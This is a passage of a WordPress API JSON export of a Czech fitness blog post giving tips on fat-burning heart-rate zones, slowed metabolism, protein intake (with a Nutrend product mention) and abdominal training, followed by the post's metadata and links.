tepov\u00e9 frekvence. Pr\u00e1v\u011b v\u00a0t\u00e9to f\u00e1zi je cvi\u010den\u00ed nejefektivn\u011bj\u0161\u00ed. Orienta\u010dn\u011b se z\u00f3na spalov\u00e1n\u00ed tuk\u016f vypo\u010dte tak, \u017ee \u017eeny ode\u010dtou sv\u016fj v\u011bk od \u010d\u00edsla 210 a mu\u017ei od \u010d\u00edsla 220. A te\u010f u\u017e jen t\u00e9to znalosti vyu\u017e\u00edt p\u0159i cvi\u010den\u00ed. P\u0159ekvap\u00ed v\u00e1s, jak efektivn\u00ed v\u00e1\u0161 tr\u00e9nink bude, pokud se nad t\u00edmto bodem zamysl\u00edte. Pozor na zpomalen\u00ed metabolismu! P\u0159i d\u00e9le trvaj\u00edc\u00ed snaze o odbour\u00e1v\u00e1n\u00ed tuk\u016f doch\u00e1z\u00ed ke zpomalen\u00ed metabolismu. \u010casto si pak lid\u00e9 l\u00e1mou hlavu, pro\u010d p\u0159estali hubnout \u2013 ov\u0161em, za v\u0161\u00edm hledejme metabolismus. Jak tedy z\u00a0toho za\u010darovan\u00e9ho kruhu ven? Jezte hodn\u011b b\u00edlkovin, ty metabolick\u00e9 procesy op\u011bt urychl\u00ed a vy se dostanete do reduk\u010dn\u00ed a posl\u00e9ze r\u00fdsovac\u00ed f\u00e1ze. Vsa\u010fte t\u0159eba na proteiny od Nutrendu. Za skv\u011bl\u00e9 pen\u00edze se v\u00e1m dostane p\u0159\u00edsunu kvalitn\u00edch b\u00edlkovin. Kam vyrazit m\u00edsto posilovny? Ono se to asi nezd\u00e1, ale kdy\u017e u\u017e budete m\u00edt posilovny po krk, zkuste vyrazit na n\u00e1kupy, zadov\u00e1d\u011bjte si na koncert\u011b nebo ukli\u010fte cel\u00fd d\u016fm. Sp\u00e1l\u00edte v\u00edce energie, ne\u017e si mysl\u00edte! Co je va\u0161\u00edm c\u00edlem \u2013 buchty nebo ploch\u00e9 b\u0159icho? Pokud p\u0159i cest\u011b k\u00a0ploch\u00e9mu b\u0159ichu nechcete nabrat moc svalov\u00e9 hmoty, pou\u017e\u00edvejte p\u0159i silov\u00e9m tr\u00e9ninku men\u0161\u00ed z\u00e1t\u011b\u017e, v\u00edce opakov\u00e1n\u00ed a m\u00e9n\u011b s\u00e9ri\u00ed. Kdy\u017e tou\u017e\u00edte po vyr\u00fdsovan\u00fdch b\u0159i\u0161n\u00edch svalech, d\u011blejte p\u0159esn\u00fd opak. A hlavn\u011b \u2013 nevd\u00e1vejte to! U\u017e po m\u011bs\u00edci uvid\u00edte prvn\u00ed v\u00fdsledky. Na v\u00e1ze to moc vid\u011bt nebude, ale vizu\u00e1ln\u011b budete m\u00edt d\u016fvod k radosti! No a te\u010f u\u017e je to jenom na v\u00e1s!<\/p>\n","protected":false},"author":2,"featured_media":314,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-313","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/313","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=313"}],"version-history":[{"count":4,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/313\/revisions"}],"predecessor-version":[{"id":324,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/313\/revisions\/324"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/314"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=313"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}